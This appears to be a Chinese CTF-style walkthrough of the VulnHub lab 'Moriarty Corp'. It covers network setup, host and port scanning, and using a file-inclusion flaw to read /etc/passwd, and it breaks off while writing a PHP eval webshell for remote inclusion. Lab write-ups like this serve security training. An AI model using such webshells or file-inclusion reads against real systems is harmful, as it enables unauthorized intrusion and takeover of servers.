vulnhub_内网渗透测试的记录——网络安全

主要考察知识点

 文件包含内网穿透命令上传弱口令更改权限HTTP协议HeaderElasticSearch-CVE暴力破解 

网络拓扑

写完之后把靶机的网络拓扑也做了一下

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2f585304b0194bcb962f13a2b3448648~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fwww.t00ls.net%252Fattachments%252Fmonth_2006%252F2006091427887fb0c103c717e6.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_2006%2F2006091427887fb0c103c717e6.png”” style=“margin: auto” />

写在之前

这次用的虚拟机是VM_VirtualBox,第一次用，配置了许久，因为靶机是内网环境，所以有些网络配置需要手动调整

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/5561758631bc46bf95c249845cdc7829~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fwww.t00ls.net%252Fattachments%252Fmonth_2006%252F200609142882d29ed8a2365a91.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_2006%2F200609142882d29ed8a2365a91.png”” style=“margin: auto” />

网络配置设置成如上，再次扫描IP，根据MAC地址就可以找到我们的靶机IP了。

靶机下载地址：

BoredHackerBlog: Moriarty Corp

渗透过程

IP发现

这里使用的windows的环境进行渗透测试，使用Advanced_IP_Scanner进行内网IP扫描

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/865761d8c29a4bf4be5d2370c8edb1c8~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fwww.t00ls.net%252Fattachments%252Fmonth_2006%252F20060914297970f475d6bec1f5.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_2006%2F20060914297970f475d6bec1f5.png”” style=“margin: auto” />

根据MAC地址发现IP，对获取到的IP进行端口扫描

端口扫描

这里使用的是御剑端口扫描器进行发现

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/c0f4c8a5169746cc812302cf9fa1d2d7~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fwww.t00ls.net%252Fattachments%252Fmonth_2006%252F2006091429a26ef4381ae05e02.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_2006%2F2006091429a26ef4381ae05e02.png”” style=“margin: auto” />

发现存在8000端口和9000端口可疑端口，尝试进行WEB访问

WEB渗透

访问8000端口

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/22e2d85dfdcd42acbc13f5f24d2e5760~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fwww.t00ls.net%252Fattachments%252Fmonth_2006%252F2006091430714c483dee13d980.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_2006%2F2006091430714c483dee13d980.png”” style=“margin: auto” />

是一个提交flag的页面，同时显示了我们的任务进度，首先根据提示提交第一个flag

再次显示新的提示

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/adfd317a8eeb428aa8003bec88d59c1c~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fwww.t00ls.net%252Fattachments%252Fmonth_2006%252F200609143066c2da9a06a85a32.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_2006%2F200609143066c2da9a06a85a32.png”” style=“margin: auto” />

结合强大的百度翻译和谷歌翻译，大概明白了让我们从80端口开始渗透，然后在此提交flag，这个时候再次访问80端口

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/7d6ff592352d4a8383f3982227051ac0~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fwww.t00ls.net%252Fattachments%252Fmonth_2006%252F2006091431f01c4b2d63b7399f.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_2006%2F2006091431f01c4b2d63b7399f.png”” style=“margin: auto” />

已经可以成功访问了，正式开始我们的渗透过程

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2cd0c30717534f51ac97a19bb5d74399~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fwww.t00ls.net%252Fattachments%252Fmonth_2006%252F2006091431ee0ea418afd64d7e.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_2006%2F2006091431ee0ea418afd64d7e.png”” style=“margin: auto” />

根据url发现疑似存在文件包含漏洞，尝试读取一下敏感数据

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/56104609c0a44c4e8f476cfa34fcfcca~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fwww.t00ls.net%252Fattachments%252Fmonth_2006%252F2006091431599b6d75014e1248.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_2006%2F2006091431599b6d75014e1248.png”” style=“margin: auto” />

成功读取/etc/passwd文件，我们构造一下查看能否远程包含webshell

首先在本地服务器构造webshell

<?php
eval($_REQUES